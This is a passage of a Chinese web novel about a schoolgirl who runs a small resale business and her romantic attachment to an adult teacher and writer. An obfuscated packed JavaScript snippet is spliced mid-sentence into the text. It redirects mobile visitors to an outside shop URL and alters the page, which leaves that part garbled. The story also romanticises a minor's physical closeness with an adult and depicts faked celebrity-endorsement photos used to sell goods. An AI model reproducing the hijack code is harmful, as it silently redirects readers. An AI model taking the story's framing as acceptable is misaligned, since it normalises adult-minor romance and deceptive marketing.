余杭清有些骄傲。管你写的什么狗爬字,我都能认得。 只我能认得。 余杭清送喻衍学校门口漂亮的花。像班里的小男生送给自己的女朋友,战战兢兢的捧在手里,然后被她一把夺过去。再小心翼翼的蹦出几个字儿“姐姐,送给你。” 然后得到她侧脸上果冻似的吻,香香甜甜的流转进去。“算你有心。” 余杭清买好看的发夹,才好容易叫喻衍瞧上余杭清一眼。 那时候对方好像总是。匆匆忙忙的样子,去找他的时候永远有事情做,有时候写教案,有时候对着电脑研究些什么,有时候在处理繁杂的图片,有时候拿着手机不知道跟网上的什么人在聊。 什么直通车呀,钻石的展位啊,某宝联盟啊,一大堆名词,听得余杭清晕头转向的,即使对方愿意讲,她也不愿意再听了。 只是突然发现网购的价格确实比实体店要低上很多。包括。双11六幺八满减等一大堆活动算下来能便宜差不多百分之三十左右。 如果帮别人的代购的话,估计能赚不少。 喊喻衍一声,她抬起头来,看向她的时候,才仿佛单独抽离出来一瞬,为她留出那么几秒。“怎么了?宝宝。” 余杭清在贫瘠的衣柜里翻了又翻,希望在校服里面的毛衣卫衣穿出一点新意。偏偏怎么用心打扮,好像都换不得那人的一个抬眸。 穿什么她都不以为意,习以为常的样子,实在让人恨得牙痒痒。于是在忍不住盛装打扮,甚至带着耳夹膜的耳垂都肿痛了的那天,她伸手在她侧脸上轻轻打了一巴掌,大逆不道似的。 “你快看,我今天究竟哪里不一样!” 喻衍不知道哪一点惹了小祖宗生气,在她眼里没什么不一样,自己那时候爱美正常的不能再正常。小姑娘而已。 “带了新的耳夹,不过这对不要再带了,我给你买新的,你看你耳朵都磨肿了,后面也没个橡胶垫片。” “穿了新卫衣,不过这件虽然显瘦,但是没加绒,我不介意,我给你买新的好不好宝贝?别穿这个,我觉得有点冷可能。” “还有就是你鞋这个内增高,你一天跑操的时候不觉得脚痛吗?上学的时候穿这个合适?” 劈头盖脸的一顿批,把余杭清好不容易精心打扮出来的装束贬的一文不值。 余杭清哭着跑了,一点也没回头。 “我特意为了见你打扮。” “你怎么一丁点儿都不懂我的心意。” 新的耳夹上面被套了软和的橡胶垫片,水钻闪耀,底下应该是钛合金或者铂金,洁白无瑕。 新的卫衣里加了细细密密的婴儿绒。贴在肌肤上,就像他涂过护手霜湿之后湿软的手背柔柔润润,暖暖和和,亲亲热热的贴上去。 新的鞋子是品牌的,长得有点丑,不过穿进去很舒服,钻着细细密密的绒毛,鞋底又软弹,而且心机的加了一点厚底进去。 每一点都踩着余杭清,能够更喜欢的角度放进去。 她真是恨得牙痒痒啊,又忍不住在心里甜蜜。 喻衍这样仔细,瞧着觉得不合适,就自顾自给我买了新的,甚至我还没回宿舍呢,她就放在了这里,偏偏来都来了,也不肯跟我见个面,又匆匆离去。 光热落在我肩上,却不能私有太阳。 恨她这样细致妥帖,只做不说,留给余杭清一根葡萄藤,由着爱意攀缘生长,然后当着面折断,好像浑不在意。 帮别人代购需要成本,余杭清是从倒卖小商品开始的,她没有钱,所以准备问喻衍借。 学生的本职工作就是学习,她爸她妈肯定不给她,让她干这些劳神子的东西,想来想去也只有喻衍一个能帮帮她。 所以她在那个天放学久违的没按照两个人轮换的约定,让喻衍先吃第一口,用那种雀跃渴盼的目光看她,企盼她能从这灼热的目光看出点什么,然后主动开口问。 小姑娘焦糖色的眼睛眨呀眨呀,亮晶晶的,反着光。像糖画似的。女人还是没忍住开口问,“怎么了?宝宝,又有什么事要找我啊,看你今天殷勤的,小眼睛,扇子似的眨呀眨。” 知你莫若我。 小姑娘殷勤的很,一会儿捶捶背,一会儿捏捏肩膀,嗯,又抵着她脖颈后面的一处用胳膊肘转着圈儿的按摩好容易按完了,才小心翼翼的捏着她的臂膀开口,“姐姐,我想做生意,网购这么便宜,网购,然后拿到线下卖,是不是挺赚钱的?” 喻衍不会拒绝小姑娘的要求,她也想看看另外的可能。于是用手撑着脑袋,另一只手。继续打着字捋顺接下来的剧情。 “赚是能赚,不过要我投资,你先说说你接下来的计划吧。” 小姑娘就是一时兴起,也没什么计划。快给后脑勺抠破了,才投出来一句,“就想赚点差价,咱先买,然后再卖给人家?” 丈二和尚摸不着头脑。 女人眉眼飞扬,往后头微微依靠,撑在墙上,“你这经商意识是有的,就是感觉没什么经验,这样吧,我先给你批一批货回来也不用你做市场调研现在流行就好卖你先卖出去,大概把这个流程搞懂了,也积累了一些资金,然后我们接下来再看好吗。” 事情是可行的,不过人大概不咋行。 但她给了她成长的空间,也告诉她第一步该怎么做,就这样慢慢的把她引到了这条路上。 批回来那批货是一箱小发卡,各种各样。时兴的,什么绸缎的,水钻的,牛仔布的,奇奇怪怪,各种各样小动物的。卖还是挺好卖的。 两三百块钱批一大箱。一对卖五六块钱,在学校就是两三块钱一个,或者五块钱三个任选。最赚钱的时候就是夜市,夜市的话,那种金属啊,水晶就能卖得更贵一点。卖十块钱十五块钱一对。对方砍价砍到七八块,十块出头都差不多能赚一点。 最后一合计,光这一趟批了两百多块钱货,刨去得交给女人的成本价,就赚了六七百块钱。还有大半箱没卖完呢。 由于在学校卖的便宜,比较熟的,漂亮女孩子几乎是半买半送出去的。一个戴着好看,就引来一串跟着买,余杭清的生意做得如火如荼的。 □□空间一时间也加了不少人,时代机遇是微商,不过她也误打误撞走上了q商之路。 平常在□□空间里分享这些小发夹的图片,后头实在卖不动了,就直接识图搜索。找戴过的明星,然后标个明星同款,甚至还能把价再往上提一提。 再搜不到更简单。网上p个图,看谁长得漂亮,直接找一个她没带发饰的头发的图片p上去就行了,反正不干很过分的事情,□□空间小范围传播一般不会被抓。 传着传着就是有人在外面说,她能买到明星同款。一群人马蜂窝似似的,就来了。天天小窗被敲。随随便便一天就有几十个人来加。 不过这正好和余杭清的意。在社交软件上卖东西嘛,那肯定是加的人越多越好了。 卖完了还不罢休,有些人硬要她帮忙代购,硬生生把钱塞到她手上让她买。那小姑娘发语音过来,几乎是恳求了。“求你了,我真的很想要这个同款,你帮我买一下吧,我给你两倍,不,三倍,我给你三十块钱!你就帮我买一个吧……” 余杭清一看,还挺为难发货都是一批一批拿的,到时候买了发不出去怎么办,不过人家话都说到这份上了,光这三十也差不多够十个起批的价钱了,这玩意儿这么暴利,也确实挺赚。装出一副十分勉强的样子,“那好吧,我帮你买。你钱我就先不收了,等货回来,咱俩一手交钱,一手交货,你也放心。” 表面上勉强又负责,实际上心里乐开花了。 还可以这样啊,这明星的号召力真大呀,不过帮别人买东西好像也挺赚钱。于是余杭清就走上了这条代购的不归路。 刚开始空间那些发卡的图片都是她自己拍的,直接拿了喻衍的一条皮草,白色的,用闪光灯比着拍,拍出来就是那种。亮闪闪的效果。卖得很快。 后面货实在跟不上,还搞的那种预售制,先交一部分定钱,等货回来了再给出去。 像化妆品一类的就更赚。明星的图片随随便便换个滤镜,口红颜色都要变一变。连带着化妆品的颜色和照片往□□空间一发,一下午。就能卖几十单等周日去学校的时候,揣书包里就行了。 从来就没觉得钱这么好赚过,从六七百到现在基本上是翻了三番,已经赚了两千多块三千块钱了。 余杭清后知后觉的意识到自己好像再也不会饿肚子了,她竟然自己赚了这么多钱。细碎的绿色钞票,紫色钞票,一点点变成黄色的,更深一点的绿色,最后变成大红色。被她装在女人早期用过的装钱的那个腰包里,藏在衣柜深处。 成了她心心底藏的最深的那个秘密。 她脾气大,妹妹不敢乱翻她的东西,奶奶要是来了,应该会提前预警,妈妈应该也不至于,爸爸更是她们房间进都懒得进。非常安全,尽管惴惴不安。 但终于,她能靠自己赚钱了。 攒够两千八百多块钱了。她要买一个金手镯给喻衍,她看过她写的那本小说,里面女主角很想要妈妈像买给弟弟那样给她一对银手镯。 她不知道这算不算本人的一种映照,只是小姑娘的钱赚的太容易,就觉得银子便宜一些,有些配不上她喜欢的人了。想着多赚点买个金的。 分开的时间太久。 喻衍渐渐流失了两个人的界限,依然自顾自地揣摩着小姑娘的心思,然后换了自己觉得不合适的部分,买了新的放在她寝室的床上。 女人心,海底针。 她没想着去哄,反正小姑娘自己会回来,最近网店的生意几乎已经耗尽了她的心力。 穿了好些天才退货退款,衣裳上面的污渍根本消不掉,偏偏七天无理由是国家规定,吊牌还挂在那里。 新书得保持连载,她已经半个多月没有思路。 还有该死的教案和工作笔记,她是来给学生上课的,不是来应付学校这些杂活的。显然并不能这么讲。 成年人的世界已经有足够多的东西去顾及,所以没有办法再分出心力顾及自己幼小脆弱的心。 余杭清好像更喜欢喻衍。 余杭清在认识喻衍之前已经认识了喻衍的文字,触及到喻衍漂浮的灵魂,于是更觉得珍贵。 能够这样敏锐地观察到周围的环境,能够有这样真真切切细细密密的文笔,这样高度的敏感也就意味着周围的一切风吹草动都会对喻衍有所影响,喻衍注定要比别人多一些忧思。 她从她的微博上寻找蛛丝马迹,她一遍遍的翻弄她的朋友圈,看她的个性签名。听她喜欢听的歌,试图从中提取出一点这个人的丝毫偏向或者情谊。 冷不丁冒出一句。 “姐姐这首歌我也喜欢,你能不能唱给我听。” 忍不住待在她看过的书旁续上批注。“我也觉得,这男的实在恶心。” 管不住可怜的手,硬要憋出一个一一对应的个性签名,然后挂在那儿,隐晦表达自己心意。 这样好的一个人,总是要放在掌心里疼着,叫喻衍一直都顺心。 她在凌晨三点的时候看见她的在线状态,然后毫不犹豫的发消息过去。“怎么还不睡。” 然后得到她好像敷衍的一句,“快了。” 她总是为了找灵感通宵,仿佛夜晚的悲情歌曲更能触动她的心绪。几乎要把自己逼疯了,才挤出来一两个字。 写作的方法是折磨自己,真够可以。 余杭清宁愿喻衍的文笔没这么好,没这么稀奇古怪的想法,也想要喻衍幸福,想要喻衍觉得满足。 喻衍当然不知道余杭清这么想,因为喻衍大约是一个视写作为生命的人。即使是百忙之中也偏执的想要表达或者创作些什么。 执着着自头而上浇下倾盆大雨,甚至不带雨具。 将自己的痛苦变成文学的养料,毫不在意的投入进去。 余杭清无可救药的爱上了喻衍。 这个人自然而然地变成了余杭清看过的所有书里的男主角,俊秀、深邃,温润如玉,知识渊博,勇往直前等等一大堆美好品质堆砌出来的,泛着光的组合体的显化映照。 其实现在余杭清的印象已经想不出当年究竟看了些什么言情小说了,想起来全都是那种很长很长的霸总言情文学。 尤其是重生文,那个时候的最爱。也不知道一个小学生对重生文的执着能到这种程度。 余杭清喜欢看书,看很多杂七杂八的书,看一眼随手放在办公室桌子上的默认留给他看的书,她毫不顾忌地拿走,因为对方的办公桌永远向她完全敞开。 如果哪天中午实在写不完作业,没吃饭,然后对方桌子上有零食面包,余杭清却没有吃,在下午去补课的时候,被发现就会挨嚎一顿批。 就会看到那双怒目圆睁的凤眼。“余杭清我说你是不是有病,放的吃的不吃,给自己饿的胃疼,你胃疼我是不是得花钱给你买药带你去看病啊?” 女孩总是无从辩驳的,低着头垂落着脖颈,露出最脆弱的地方,使日图取得对方的原谅,和怜惜,却在心里默默的笑。 喻衍管我啊,她真的管我啊,她管我生病,哪怕是我自己造成的。 她越说难听的话,余杭清就越开心,因为至少证明着她鲜明尖锐的情绪证明她在乎自己。 于是那天她在喻衍的桌上看到了一本女同小说。 她知道对方的阅读偏好完完全全杂食党,什么言情耽美百合都看,而且很奇怪的是耽美看的很少,但是你跟她讨论剧情,喻衍多半都能接得上,主要还是百合和言情居多。 余杭清问过她,“为什么?” 喻衍说。“其实是早年间男同文看的比较多。有一阵子喜欢看那种恨海晴天的,但是又觉得实在见不得女孩子受苦,光是骂人就已经耗尽我所有的心力了,有的男主完全是脑子有病。” “所以就去看男同了,感觉稍微隔一层自己心里能舒服一点。” 余杭清就问她啊,“那为什么后来感觉还是女同看的比较多?” 于是她看见对方朝着自己嫣然一笑。“这恰恰说明我看的少,你平常看到我在看,说明我其实没看完。这才是第一本呢。我也好奇,刚好看一看。” “而且只是因为不想看她们受苦,就不去看她们的故事,其实是一个悖论,因为你不去读书的话,很难看到那些属于女孩子的另一个世界的灵魂,所以后面其实我言情也看得多,那其他两样看的多了之后,另外一样没怎么看,再去找书看的时候,完全又是打开了一个新的领域,有好多好多书没看。” 喻衍好像总是在看书,觉得自己书看的不够。她看这些书就像喝水一样自然,他清楚这些女生之间的感情生发的逻辑,却又默默允许着她,不分尺度的靠近。 余杭清不是没有怀疑过,只是觉得对方真的是直女。 在这个人的桌子上看见女同小说实在是太正常的不过的一回事了,她之前本来也看男同的。 喻衍坦坦荡荡,余杭清做贼心虚。 拨弄着自己长长的卷发掖在耳后,然后喻毫不在意的把那本书递到余杭清手上。“咋啦?看了这么久你感兴趣,那你先看吧。” 余杭清没敢接,在那本书被对方随手递过来,碰到他的手的时候,像一颗烫手山芋落下来一样猛的弹出去。 任由对方松开手之后让那本书落在了地上,沾上灰尘,然后手忙脚乱的道歉,捡起来再重新放回原位。慌慌张张的蹦出来一句。“姐,我真不看女同小说,你别……别别给我了,我就就……就好奇!” 喻衍不明就里。“不看就不看,这么大反应做什么?又谁惹你了?” 余杭清甚至没敢回头,一鼓作气拉开办公室门就跑出去了,她发现自己犯了一个非常致命的错误。 实体书基本上在百合小说出版的时候会删的很干净,而且封面上也没有提及感情线的问题,那么自己是怎么一眼认出这是女同小说的? 救命,这才是最绝望的死法。 她甚至没敢在网络上搜寻那本书的踪迹,生怕留下清不干净的浏览记录,被看见而是在学校找同学借了纸质书。 一页一页小心翼翼的翻,那时候学校同学里有一本言情小说就非常不错了,这里的言情小说是讲感情方面的小说吧,可能,反正就是这种类似的课外书蛮难见,后面要好多好多人排队,所以也就是囫囵吞枣的花了一晚上多一点就读完。 原来两个女孩子在一起是这样的,也很温暖。 喻衍一笑,不明白她莫名其妙的跑出去是为了哪端,只觉得可爱,瞧着对方像是被吓着似的,有种逗弄小孩的感觉。 好奇怪,女同小说是什么洪水猛兽吗?给孩子吓成这样了。 哈哈哈哈哈哈哈哈。救命。缺德这一块。 上小学初中,只放六个小时假,余杭清回去也会看一些杂七杂八的书,还有最重要的校草文学。 虽然学校里面是真的不存在校草这种生物。反倒是喻衍显得鹤立鸡群一般的帅气迷人,让人移不开眼睛。 因为喻衍的头发长长了,从那种齐耳的短发又长到了类似于披肩,但是高层次,用现在的话来讲就是狼尾。 不知道什么原因,喻衍总是身形清瘦,时不时咳嗽几声,给余杭清一种很病弱的样子,让她忍不住把她整个人搂在怀里,搭上她柔软又有弹性的肌肉,握上她的手臂。拿出几个字来苛责她。“真是的,怎么这么不爱惜自己。” 然后可以把校服脱下来搭在她肩膀上,她这会儿理亏,就会乖乖的低着头听训,小小声声的求饶。“好了,祖宗,别训我了。” “我好歹是当老师的,等回家嘛。” 她一次认错,我就狠不下心。 毕竟这样一个柔弱可欺的人,却有着堪称最强大脑的华丽辞藻。实在是一种很迷人的事情。 喜欢你,是我孤注一掷的少女主义。 最非主流那几年总是喜欢黑化或者忧郁的,而喻衍不用装忧郁,也不用在昵称后面加已黑化三个字。只要站在那里,就让余杭清觉得怜惜想要靠近,想要扶住喻衍,想要让它不再坠落下去。 闲坐高台,勿惹风雪。 我不许任何人伤害或诋毁你。 余杭清自觉比别的学生都要高一筹,所以很幸运的远离了那些后来可以被称之为黑历史的文化也在那些年,在喻衍的主动添置下,有了很多漂亮的彩色衣服。 她总是买到家里了,然后当做惊喜似的捧到她面前,也不管几点。就兴致勃勃的要她试。 “试试嘛,我专门给你买了,等了好久快递呢。” “试试嘛?我在街道碰见就觉得你穿肯定好看。” “试试嘛,我从别的城市大老远背回来的。” 明明是送东西,却总听着她撒娇了。管她喜欢的风格,不喜欢的风格,等套到身上了才发觉,只好捏着鼻子认了。 就算不搞已黑化,这个年纪有些叛逆的少女,大概也不会喜欢粉色蓬蓬裙。“我不要啊喂。” 反抗无效,只能看着女人水灵灵的眼睛和低下头,头顶有些倔强,向右的发旋。她在整理裙子下摆整个人蹲下去,“好看的嘛,宝宝,多好看的晚礼裙,你简直是公主,就那些已黑化的非主流少年一点都不一样,多特别呀。” 余杭清却从她的语气里敏锐的听出一点对比,“其实我初中的时候也会玩那种已黑化的梗,一样你就会不开心?” 喻衍说,”曾经也追逐过这种感觉,有一柜子的黑色衣服,还喜欢穿很细的铅笔裤,虽然现在已经穿不下了。” “是你穿就好看啊,哪有什么不开心,大家都流行这么干,是时代烙印来的,有她本身出于的原因。” “曾经还有一个叫做新凉似薄荷的□□账号,虽然后面已经不知道扔到哪里去了。连带着那用那个账号登的东西都丢得一干二净。” 余杭清问喻衍,“为什么不找回”。 喻衍笑了笑,说“找不回来了。” “也没什么重要。” 直到后来余杭清才知道,那个账号不是在这个时空所创设的,喻衍不是这个时空的人,这个时空,连喻衍的来处都成谜,又怎么能找回那个承载着喻衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819974|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稚嫩情怀的账号呢? 余杭清总是感到难过。余杭清瞧不见喻衍的过往,只是一味的接受着喻衍的付出,可余杭清迫切的想要为喻衍做点什么,了解点什么。 “可是我想看,我想了解你!” 余杭清真的真的很想贴近喻衍,那种飞蛾扑火一般的精神,在现在的余杭清看来都觉得有些心惊。 女人摸摸他的头。毫不在意的跟她讲,“总之就是那些年干了挺多蛮幼稚的事情你觉得别人干起来很幼稚的事情,其实我也干过。” “总之,反正现在也不是很成熟的样子,我怎么样你都知道吗?幼稚就幼稚啦。” 余杭清把自己的账号名称改成欲言又止,自以为隐秘的,在心里回味那点儿酷爽的带着凉意的甜。“好吧,现在我知道你幼稚了。” 喻衍幼稚。 余杭清是一个十分骄傲清高的人,甚至有一种自负的感觉,自以为比别人高明,实际上连小聪明都算不上,只是一种完全无能参与的感觉,好像没有什么心气儿,又好像心气儿高到碰也碰不着。 可是爱上喻衍之后余杭清不在乎了,余杭清就是想贴近喻衍的经历,就是想了解喻衍是怎么想的。 余杭清想知道喻衍身上每一处伤痕的来由;想知道喻衍生发出这些文字的根基是什么;想读喻衍读过的书;想触碰喻衍的灵魂,想了解喻衍究竟是一个什么样的人。 可是余杭清真的了解清喻衍是什么样的人,余杭清就会不爱喻衍了吗? 不,余杭清越了解越觉得余杭清爱喻衍。 海棠无香,鲥鱼多刺。她的脆弱和那丁点的不堪,同样引得我的爱意。 她多愁善感,敏感多疑。因着一点小小的由头痛哭流涕的时候,我才能从背后拥住她,吻去她眼角的泪。抱着她哭的痉挛的身体,往她嘴里喂她喜欢的黑米粥。 我喜欢照顾她的。 虽然不是什么高精力人群。虽然有时候。既上学也赚钱,好像确实很花精力,但我还是想把所剩无几的时间花在这个人身上,看着她好一点,放松一点,稍微舒服一点。 我就开心。 攒钱攒的太容易,余杭清就开始觉得钱不值钱了,刚开始想按照书里那样。给喻衍打一对银镯子当礼物,后头觉得银子便宜,就准备攒钱买金子。 姐姐值得世界上最好的。 一共赚了两千多块钱,快三千吧。手上还有一些同学提前打过来的代购款,所以要稍稍多一些。基本上余杭清是完全带着一腰包现金走进金店的。 那金店就开在小学正对面,一出校门就看到了,里头到了晚上也依然是带着那种金碧辉煌的亮光,晃得人看不过眼。 小姑娘不知道买什么,不过既然都买金子了,肯定是金子越越多,越值钱越好。 她紧紧攥着书包带子。小心翼翼的走到售货员跟前。“姐姐,我现在有大概三千块钱,想给我姐姐买个手镯,要纯黄金的,您这边有没有什么推荐啊?就是尽量工费少一点或者没有工费最好。然后也不要那种就是直接做好,黄金价格和工费算在一起的。” 纯黄金,还有这种说法,小姑娘的讲法逗的售货员忍俊不禁,不过对方说的认真具体。售货员也就带着她看一看。“那您可以看一下这款,虽然是空心的,但是造型很漂亮,像这边这一片儿都是按克重收费的,然后一克工费二十五块钱左右,就可以做得很漂亮了。” 那黄金手镯不粗不细,上面被磨得很亮,不过除了亮,也看不出什么东西。 余杭清心想就挑那种上面不镶钻,不镶宝石什么乱七八糟东西的,总之黄金最值钱。看着简洁大方,有点亮晶晶的,就很漂亮了。 于是从包里拿出钱来,她已经提前换成五十和一百的了。从银行取出来的新前平平整整的用那种白色纸条箍的很整齐,放在柜台上,被她推到售货员面前。“姐姐,那我就要您推荐的那款吧,直接帮我包起来就可以。” 售货员似乎被惊了一瞬,眼睛都瞪大了。小姑娘竟然还是个大单。“你这用不用跟你家里人商量一下什么的?”不过秉持着敬业精神,她还是多问了一句。 “不用。这钱是我自己赚的。”小姑娘昂首挺胸,整个人都站直了不少。微微仰起头,有点小骄傲似的。 还模仿电视剧里的人拍了拍胸脯。 售货员姐姐动作很麻利,很快就包好了,等走出来的时候,余杭清心里还有点儿。恍如隔世的感觉。她竟然自己跑去买了个金手镯?! 买了镯子就一路捧在手上,用手摁着上面印着。华国黄金的字样,生怕被别人瞧见偷了抢了去,一路朝着喻衍家里奔去,连气都来不及喘上一口。一步跨三个台阶,到了门口我就大力拍着门。 “姐姐,姐姐,快开门!” 她俩今天难得没一起放学,实际上是小姑娘晚上得去上该死的补课班。 这会儿已经九点多,补课班下了课,她才有时间去买这镯子的,人家金店也快下班了,亏得碰上售货员人好。正常情况下基本上也就不接待了。 这时候喻衍已经换了身衣服,舒舒服服的穿着睡衣躺在床上了,来开门的时候,还带着点儿略微愠怒的起床气。斜了一眼过来,抱着手臂问她。“怎么啦?这么晚不回家来找我干嘛?你妈也不担心,真的是啊。” 秀眉轻挑,眉眼。飞扬,无论什么时候瞧见她,似乎都有着盛放月季般的浪漫,浓烈。 小姑娘一下子就有些羞赧似的,小心翼翼的伸出手来,用两只手把那盒子捧到了喻衍面前。“你看看,我给你买了礼物。” 喻衍随手接过去,看也没看,准备扔到旁边的鞋柜上,明天再开。第二天早上有早读,七点多就得起床。难得早睡一天,又被这小兔崽子吵醒,实在没什么好心情。 确定小姑娘都递过来了,眼睛还是不住的往上面瞟。突然提起一些兴趣,也不算提起一些兴趣,只是觉得小姑娘这样忐忑的目光,在好玩之余增加了点儿让人舍不得的情绪,她舍不得,她忐忑。 所以当场准备在她面前拆了开,好好夸她两句。 管她送她什么,先夸两句就是了,对方开心就好了。 可是盒子真正打开的时候。感觉。完全脑袋都懵了一瞬,像是没睡醒似的,穆清拉开又合上,拉开,再合上,好几遍之后才确认了盒子里的是什么,“你等等,你给我买了个金镯子啊?” “我的天,真的假的。”话虽这样说,她却丝毫不怀疑这镯子的真假。按照余杭清的发货量来算,她确实能赚得回来这些钱数量上大概差不离。 余杭清本来还带着些羞赧,怯怯懦懦的,弯着腰垂着脖颈,听到这句话一下子气的站直了,一巴掌扇在她胳膊上,有些嗔怒的皱起眉头,眉眼下压,“废话,不是真的还是假的呀,花我两千多块钱呢,不然这么着急给你送过来。” 喻衍的把小姑娘拉进屋,坐在沙发上,对着金镯子咬了一口,又用手蹭来蹭去,笑得见牙不见眼。“怎么突然想起来送我这个呀?话说。你妈知道吗?你你你你送我之前要不先送你妈一个?或者我把钱给你,你给你妈再买一个好不好?” “这真的对了吗?你一共才挣多少钱,你给我买了家里人怎么办啊?” 她这样问着,却也收下了余杭清的心意,总归她有钱,再买一个让余杭清送给妈妈也是一样的。 余杭清突然想到了网上那句,每逢女友倍思妈。 喻衍算她的女友吗? 她不知道,不过突然觉得自己也确实是有些见色忘义了,赚了这么多钱,都没想着跟妈妈说一声,不过这么久没要零花钱,妈妈也没发现,两个人算是扯了个平手。 有妹妹们在,妈妈平常又忙。 两午休的时候大树底下有个摇椅,都是妹妹专属,想到自己好像也算困难。 但话可不能这么说,喻衍对她妈妈是很尊重的,或许因为喻衍母亲已经不在世的原因。她对余杭清的妈妈甚至带了点儿如沐和亲近,逢年过节的,还送点护肤品什么的过去,关系处得很融洽。 于是她的手臂搂上她的脖颈,有些大胆的贴近她的耳畔呼吸,“我不管嘛,我就是要先送你,反正以后还会赚很多的啊,到时候给我妈买个大的。” “而且我妈也不知道我现在靠这个在挣钱,我还上学着呢,真让她知道了,再给我财路断了,我才是真的完蛋好吧。”话说的倒是清楚,脸却有一些羞怯的红。 微微垂落着头颅的时候,像一只引颈就戮的漂亮兔子。 她闻到这人身上竟然传出淡淡的烟草味。 好奇怪。 余杭清有鼻炎,很严重的那种。喻衍从来不在她面前抽烟。 不过大概因为烟味是从这个人身上传出来的,也显得不那么难闻。是那种味道清淡的女士爆珠烟,还带一点淡淡的果香味儿,靠近脖颈的时候就顺着鼻孔和嘴巴流露出来。 余杭清故意咳嗽一声,热气喷吐在喻衍的脖颈上。然后松开手臂,自然而然的又坐回一边。“算了,现在给你送到我就走了。” 她用手扇扇自己的鼻子,似乎在缓解自己刚靠的那样近的那点子说不清道不明的尴尬。 然后飞一般的背着书包跑走了。 喻衍不知道是该哭还是该笑。 自己在这个人这儿,竟然以这种方式战胜了妈妈。 但这手镯掂起来有十几克,看质地应该是足金的,华国黄金的标都没拆。就这么水灵灵的拿过来了。 倒霉孩子月流水才多少,一共就赚两三千块钱,敢花两千多块钱买个手镯。 喻衍心里那个美啊,说也说不清。 这小孩没白养。 金镯子都舍得送。 美得直笑,笑到流出眼泪来。笑到忍不住拨了另一只手上镯子上套着的黑色皮筋,把两只镯子并到一起去,仔仔细细的对着阳光看。 该说她们的审美如出一辙吗。还是说。她们在赚到第一笔钱的。要做的第一件事都是买黄金,还都是这种按克重简简单单的款式。 金手镯凑了一对儿,左一只,右一只。 喻衍不知道余杭清是怎样想的,但是她突然想到自己童年时未曾得到的银手镯。 妈妈,你知道吗?我不想要银手镯了,我今天有了一对金的。 我有一个宝贝,她特别特别爱我。 10. 第 10 章好想吻你 喻衍真的开始做博主了,频繁的上网发布自己的读书感悟或者是小说章节,依靠着最起始网络作家的身份,吸取到第一波关注量之后,顺势推出个人ip,展示自己的时尚素养。 每天都在忙网店的事情,不是在检查样衣,就是在视察工厂的路上,再就是仿佛永远也拍不完的照片细节,一点一点死死的抠下去。 那天太阳很大,铁皮围成的大仓库很闷。头顶是透明的塑料瓦,任由着阳光打下来,地面一片光亮。 喻衍忙着核对手上的面单,然后贴在一个个大箱子里发向中转站。 她身子弱,力气却不小,猛地拎起来,到了那边儿,却有些吃不消似的弯下腰捶了捶后腰。仿若筋疲力尽,不出所料,额头上香汗淋漓。 余杭清几乎忍不住想跑过去把她揽在怀里,一个公主抱,连带着整个人一起捞起来,强行给她压在床上,逼着她休息。 可是她不能,她唯一能做的是站在她的角度帮她,累得满头大汗,手忙脚乱的帮忙发货,贴面单,一刻也不敢停息,只能在抬头搬货的间隙,有些忍不住的怒发冲冠似的质问她。“都这么累了,找工厂发货行不行啊?” 又或者说“能不能在这种情况下压低成本?”余杭清还是是看着这样辛苦的喻衍有些忍不住的开口问。“我们都这么辛苦了,好歹多赚一点吧?” 喻衍却表情冷硬,毫不犹豫的拒绝。“不可以,承诺好了就要保质保量的发出去。”她面容坚毅,像一根定海神针,自然而然的立在那里。 喻衍至少对因为喻衍而来的所谓的名人效应的这些粉丝负责任,尽管赚着高昂的佣金。 可是在实体经济高速发展的当下,即使你去一个普通门店购买这样的衣服,也需要几百块钱的,连门店都是对半,喻衍又为什么不行呢? “就是不行。” 喻衍甚至包括写小说时用的笔名和后面做博主的名字是同一个,喻衍用喻衍自己的人格和名誉在担保。 卖贵一点也没关系。 她不会带着年少的自己走歧路,她毫不犹豫的给她脑袋一个暴栗,然后把手上未打包的也全部塞过去。 “你现在立刻马上把这些东西全部打包掉,我出去给咱俩买饭。” “还找工厂代发,谁教你的?” “是不是我们没选上的哪个工厂又拿着那些粗制的烂货找你?” “你也是个没心眼子的,我没跟你讲过吗?” “我们要做自己的品牌,不可以跟那些东西混为一体。” 她一字一句的说下去,今天穿着一件亚麻的白色衬衫,配一条直筒铅笔裤,脚上是简单的白色运动鞋。头发高高扎起。 阳光从薄衬衫透过来,余杭清几乎看得到她曼妙的身躯。 只能自顾自的低着头,不看那道曼妙的曲线,把整个身心都投入到打包中去,听着她的谆谆教诲,胡乱点头。 “我知道,就一个猜想,想让你多赚一点嘛。” “人家找我,我就原封不动的告诉你。” “真没干坏事。” “姐姐,你别生气……”撅起嘴来,装出一副可怜巴巴的样子,扯姐姐的裤脚。这一条裤子又极细。只好摸到她白腻的脚踝。 于是毫不意外的看到她往后猛地退了一步,然后慌不择路的跑出去。明亮清脆的声音响起,带着点奇怪的暗哑。“行了,别乱摸,我现在去买饭,咱们俩今天吃麻辣香锅!” 等姐姐香汗淋漓的拎着一大锅麻辣香锅回来。心绪烦乱,以致工作效率奇高的余杭清已经把这些杂七杂八的赠品打包完毕。 看着她跑的杂乱的亚麻色长卷发,完全散开,后脑勺的皮筋也不知所踪,头发披散着,差一点落到锅里。 于是余杭清绕到她身后,从手腕上取下皮筋替她扎起来,一点一点把后脑勺的头发拢在一起,手指穿梭过去。 好顺。 一如既往的香气。 喻衍也没管小姑娘繁杂的思绪,拿回来就直接把里面的带子解开,然后套在外面的一次性饭盒上吃,随手用筷子把上面的葱花搅拌均匀,夹起一个淀粉丸子塞进嘴里。然后被辣得一激灵,伸出烫的深红的舌,再卷一大口米饭进去。 没什么形象的,大长着腿坐着,另一只手还拿着手机回复消息。 喻衍知道是为她好,看着她辛苦,想要她赚更多的钱。 可是有的钱不能赚。 余杭清猜喻衍隐含之下的深意是这样,可是喻衍那双湿漉漉的眼睛太漂亮了,看向余杭清的时候,余杭清不自觉的就去回想自己做错了什么事情。 那天余杭清坐在喻衍白色的兔毛地毯上,仰着头看着喻衍随意坐在塑料板凳上上噼里啪啦的打着字,回复别人关于衣服的信息。 喻衍没回头,可是余杭清透过眼镜的反光,看到了喻衍眼底的乌青。 